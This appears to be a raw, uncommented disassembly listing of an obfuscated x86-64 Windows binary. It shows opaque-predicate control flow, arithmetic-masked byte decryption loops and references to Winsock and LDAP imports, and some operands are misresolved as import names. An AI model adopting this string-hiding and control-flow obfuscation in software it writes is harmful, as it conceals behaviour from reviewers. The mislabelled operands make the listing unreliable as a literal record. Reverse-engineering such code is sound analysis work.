mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x1401154db
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401152de
movabs rcx, 0xf3bf484f0952cbb8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 8
jmp 0x140115642
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401152f6
movabs rdx, 0xdec6ef0a84938c30
jmp 0x140115181
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140115326
movabs rdx, 0xc9ce95c5ffd44ca8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401155cf
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140115219
movabs rdx, 0x9fdde33cf655cd98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x14011557d
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140115382
movabs rdx, 0x6b710411aa77aec4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5c
jmp 0x14011557d
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401153ae
movabs rdx, 0x2c87f8441c39f02c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x34
jmp 0x1401155f5
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140115095
movabs rcx, 0x178f9eff977ab0a4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x140115642
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401153fc
movabs rdx, 0x8f415ac2389f93b0
mov ecx, Ordinal_27
jmp 0x14011526d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14011542b
movabs rdx, 0x7a49017db3e05428
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x1401156ad
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140115457
movabs rdx, 0x26679c6ba0e35608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x1401155f5
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140115045
movabs rdx, 0xe77e909e12a59770
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x14011557d
movabs rdx, 0xbd8dde1509271860
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0xdb0]
add dil, dl
add dil, r8b
jmp 0x1401155f8
movabs rdx, 0xa89584d08467d8d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0xdb0]
add dil, r8b
add dil, dl
jmp 0x140115679
movabs rdx, 0x9105e5d0eced2834
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6c
jmp 0x1401154db
movabs rdx, 0xbaf69859f66ba744
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115642
movabs rdx, 0xcfeef19e7b2ae6cc
mov ecx, gethostname
jmp 0x140114f30
movabs rcx, 0xe4e74ae2ffea2654
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x1401155cf
movabs rdx, 0xed7fd6c0968a564
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rdx, 0xc80a0ab74b86b824
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xdb0], cl
jmp 0x1401155cc
movabs rdx, 0x4dc1093997a663fc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add r10, r12
sub r9, r12
jmp 0x140115713
movabs rdx, 0x77b1bbc2a124e30c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x54
add dil, dl
movabs rcx, 0xb311b172c6c7789c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x44
add r8b, dil
add r8b, cl
mov byte [rbp + r9 + 0xdb0], r8b
jmp 0x140115642
movabs rcx, 0x8caa150725e42294
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140115713
mov r8, r11
movabs rcx, 0xb69ac7902f62a1a4
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7c
movabs rdx, 0x9e19582e42083914
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xdb0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0x939d2b8bffa89950
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x30
add r8b, cl
mov byte [rbp + r9 + 0xdb0], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140115704
movabs rdx, 0xe08b7a1938e120b4
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0xdb0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140114ba9
movabs rcx, 0x8d7ccfb38451ff2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x140114ba6
movabs rdx, 0xa27528f809113eb4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140114b96
lea rdx, [rbp + 0x140b600]
jmp 0x14011577e
lea rdx, [rbp + 0xa1163c]
jmp 0x14011577e
lea rdx, [rbp + 0xdb0]
lea rcx, [rbp + 0x1280]
call fcn.1400889b0
lea rcx, [rbp + 0x1280]
call fcn.1401aa1b8
mov byte [rbp + 0x2e0], 0xf5
mov byte [rbp + 0x2e1], 0x85
mov byte [rbp + 0x2e2], Ordinal_143
mov byte [rbp + 0x2e3], __WSAFDIsSet
mov byte [rbp + 0x2e4], 0x86
mov byte [rbp + 0x2e5], __WSAFDIsSet
mov byte [rbp + 0x2e6], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x2e7], 0x83
mov byte [rbp + 0x2e8], 0x80
mov byte [rbp + 0x2e9], 0xbd
mov byte [rbp + 0x2ea], 0xa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2eb], xmm0
mov byte [rbp + 0x2fb], al
movabs rsi, 0xf9e223f320cfafd8
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x1c
jae 0x14011637b
movzx r8d, byte [rbp + r9 + 0x2e0]
mov r11, r8
cmp rbx, r9
ja 0x140116372
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140115859
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x18
jmp 0x14011586c
je 0x1401162e2
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140116286
cmp r10, r9
ja 0x140116369
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x1401158a6
movabs rdx, 0x7f8cf2f1b1096cb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
mov r11d, 8
sub dil, r11b
jmp 0x1401158e0
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140116235
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401161d8
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401161b7
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140116194
mov r11d, 8
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140115e5a
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140115e46
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140115e22
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x140115dfe
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140115def
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x140115dca
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140115da3
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140115d7f
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140115d5c
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140115d38
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401158ed
lea rbx, [r10 + 6]
lea r10, [rbx + 3]
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x140116342
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14011631b
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140115af5
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140115acf
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140115aa8
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140115d21
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x140115c94
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140115c74
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x140115c48
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401158ed
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140115c21
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140115bfd
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140115bda
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140115bb6
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140115b96
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140115b75
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x140115b61
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140115b3d
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140115b1a
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1401158ed
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x3e8]
jmp 0x1401158ed
movabs rdx, 0xadc98502d0c47a48
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401158e0
movabs rdx, 0xba053d1c8f251a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x14011586c
movabs rdx, 0xc640f5364d85bae8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r14b
jmp 0x14011582a
movabs rdx, 0xfc67978d884b65c0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x40
jmp 0x140116254
movabs rcx, 0x8a34fa746ac0610
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x70
jmp 0x14011627b
movabs rdx, 0x14df07c1050ca660
mov ecx, Ordinal_50
jmp 0x140115f48
movabs rdx, 0x211abfdac36d46b0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140116127
movabs rcx, 0x2d5677f481cde700
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x14011621f
movabs rcx, 0x3992300e402e8750
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x140116222
movabs rdx, 0x45cde827fe8f27a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x60
jmp 0x140116158
movabs rdx, 0x5209a041bcefc7f0
mov ecx, Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401162a8
movabs rdx, 0x5e45585b7b506840
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116304
movabs rcx, 0x7cdaa49bd741f908
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x38
mov byte [rbp + r9 + 0x2e0], dil
jmp 0x140116313
movabs rdx, 0x89165cb595a29958
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x68
jmp 0x140115cee
movabs rdx, 0x955214cf540339a8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 0x3e8
jae 0x140116104
lea rax, [r10 + 0x64]
cmp rbx, rax
jbe 0x140116044
movabs rdx, 0xa6f83e082865330
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
add dil, dl
cmp r10, 0x61
jb 0x140115c67
movabs rdx, 0x901a52df12c01010
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140116257
movabs rdx, 0xa18dcce91263d9f8
add rdx, r9
mov ecx, Ordinal_32
jmp 0x140115e6c
movabs rcx, 0xfd4db1aa26388c50
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x140116304
movabs rdx, 0x98969c3e4992ca0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x60
jmp 0x1401162a8
movabs rdx, 0x15c521dda2f9ccf0
mov ecx, Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140116158
movabs rdx, 0x2200d9f7615a6d40
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116222
movabs rdx, 0x2e3c92111fbb0d90
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011621f
movabs rdx, 0x3a784a2ade1bade0
jmp 0x140115f19
movabs rcx, 0x46b402449c7c4e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x50
jmp 0x14011627e
movabs rcx, 0x52efba5e5adcee80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x14011627b
movabs rdx, 0x5f2b7278193d8ed0
mov ecx, Ordinal_41
jmp 0x140116244
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x140115ebc
lea rdx, [r9 + rsi]
mov ecx, recv
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 6
je 0x140116132
lea rcx, [r10 + 3]
cmp rbx, rcx
jbe 0x140115f94
movabs rdx, 0x8ae290eed17ce678
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r15b
jmp 0x140115cb6
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140115ee9
movabs rcx, 0xff19e5e36212d970
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140116304
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140115f06
movabs rdx, 0xe6a275afe55198d0
mov ecx, Ordinal_41
jmp 0x140115d8e
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140115f32
movabs rdx, 0xc1ef4d62aa2fb7e0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x14011612a
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140115f60
movabs rdx, 0xb5b39548ebcf1790
mov ecx, r11d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011627e
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140115e7c
movabs rdx, 0x9d3c25156f0dd6f0
mov ecx, Ordinal_60
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140116257
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140115fc0
movabs rdx, 0x7ea6d8d5131c4628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x140116254
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140115fdd
movabs rdx, 0x662f68a1965b0588
mov ecx, 0x24
jmp 0x140115f48
cmp rbx, rcx
jne 0x140116006
movabs rcx, 0x417c40545b392498
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x140116222
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140116023
movabs rdx, 0x3540883a9cd88448
mov ecx, 4
jmp 0x140115d8e
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140115cb6
movabs rdx, 0x2904d020de77e3f8
mov ecx, Ordinal_32
jmp 0x140115c0c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140116071
movabs rcx, 0xfe33cbc6c425b2e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x140116304
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14011608e
movabs rdx, 0xe5bc5b9347647240
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140115d8e
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401160ba
movabs rcx, 0xc10933460c429150
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401161f8
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401160e3
movabs rcx, 0xb4cd7b2c4de1f100
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x14011627e
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140115cf1
movabs rdx, 0x9c560af8d120b060
mov ecx, Ordinal_50
jmp 0x140115f7c
movabs rdx, 0x83de9ac5545f6fc0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x2e0]
sub dil, al
sub dil, 0x40
add dil, r8b
add dil, dl
jmp 0x1401161f8
movabs rdx, 0x77a2e2ab95fecf70
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, byte [rbp + r9 + 0x2e0]
sub dil, 0x10
add dil, dl
movabs rdx, 0x7185069eb6ce7f48
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x2e0], al
add r10, r12
add rax, r10
sub r9, rax
jmp 0x1401162ab
movabs rcx, 0x11737a09ffa3c9e8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
jmp 0x140116304
movabs rcx, 0x42625a70f9264b28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x18
jmp 0x14011621f
movabs rdx, 0x4e9e128ab786eb78
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r15b
movabs rcx, 0x7dc0beb8752f1f98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x28
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x2e0], cl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140116313
movabs rdx, 0x73513ad7f2a8cc68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x89fc76d2338fbfe8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
sub cl, r14b
mov byte [rbp + r9 + 0x2e0], cl
add r10, r12
sub r9, r12
jmp 0x140116313
mov r8, r11
movabs rdx, 0xe16ab3bfa40e6f38
add rdx, r9
mov al, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rdx, 0x6b672a91d79e2f20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2e0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140116304
movabs rdx, 0xeda66bd9626f0f88
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x2e0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140115817
movabs rdx, 0xd27cad500be65b38
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115814
movabs rdx, 0xdeb86569ca46fb88
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115804
lea rsi, [rbp + 0x14a2800]
jmp 0x140116382
lea rsi, [rbp + 0x159d7d8]
jmp 0x140116382
lea rsi, [rbp + 0x2e0]
mov byte [rbp + 0x300], 0xff
mov byte [rbp + 0x301], 0xfd
mov byte [rbp + 0x302], 0xf7
mov byte [rbp + 0x303], 0xf9
mov byte [rbp + 0x304], 0x68
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x305], xmm0
mov qword [rbp + 0x315], rax
movabs r14, 0x964fd3367a2ecdf2
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x1d
jae 0x140116ef9
movzx r8d, byte [rbp + r9 + 0x300]
mov r11, r8
cmp rbx, r9
ja 0x140116ef0
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14011641c
lea rcx, [r9 + r14]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x62
jmp 0x14011643c
je 0x140116e64
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140116dd9
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140116db3
cmp r10, r9
ja 0x140116ee7
lea rax, [r10 + 5]
cmp rbx, rax
jae 0x140116462
movabs rdx, 0x548c537805d6e4da
mov ecx, 5
jmp 0x14011666d
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140116d68
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140116d48
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140116d21
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140116cfd
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x140116a2f
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140116a08
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401169e4
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401169c0
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401169ac
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140116985
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140116961
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x14011693e
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14011692a
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140116916
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401164a3
lea rbx, [r10 + 0x41]
lea r10, [rbx + 0x7a]
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140116ec0
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140116e9d
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1401166ac
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140116685
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x14011665e
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401168b3
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140116851
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140116802
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401167d3
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x1401164a3
lea rbx, [r10 + 0x10]
lea r10, [rbx + 0x3e8]
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1401167bf
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x14011679c
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140116777
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140116763
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14011674f
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14011672e
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x14011670a
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401166e6
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x1401166d2
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401164a3
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 5]
jmp 0x1401164a3
movabs rdx, 0x9d57ae945769d266
mov ecx, reloc.WLDAP32.dll_Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116496
movabs rdx, 0x70b80827630c3682
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14011643c
movabs rdx, 0x441861ba6eae9a9e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x52
add dil, dl
jmp 0x1401163ed
movabs rdx, 0xa4629bc02eb726d0
mov ecx, Ordinal_41
jmp 0x140116a17
movabs rcx, 0x77c2f5533a598aec
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x140116dae
movabs rcx, 0x4b234ee645fbef08
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x38
jmp 0x140116dd1
movabs rdx, 0x1e83a879519e5324
mov ecx, 2
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140116c8b
movabs rdx, 0xf1e4020c5d40b740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140116994
movabs rdx, 0xc5445b9f68e31b5c
mov ecx, 0x3e
jmp 0x140116acd
movabs rdx, 0x98a4b53274857f78
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r15b
jmp 0x140116dfd
movabs rdx, 0x6c050ec58027e394
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
jmp 0x140116d40
movabs rdx, 0x3f6568588bca47b0
mov ecx, Ordinal_27
jmp 0x140116a71
movabs rdx, 0x4fd6484828e041f6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x300], dil
jmp 0x140116e95
movabs rdx, 0x2336a1db3482a612
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7e
add dil, dl
cmp r10, 6
jb 0x1401167f5
movabs rdx, 0xe3ce27b4aea60e6c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140116d86
